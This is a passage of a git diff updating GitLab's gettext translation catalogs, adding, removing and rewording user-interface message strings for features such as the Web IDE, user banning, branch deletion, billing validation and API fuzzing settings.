+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/mn_MN/gitlab.po b/locale/mn_MN/gitlab.po
index e8823695c6d..aaa36f15f34 100644
--- a/locale/mn_MN/gitlab.po
+++ b/locale/mn_MN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: mn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:23\n"
+"PO-Revision-Date: 2021-06-01 20:44\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
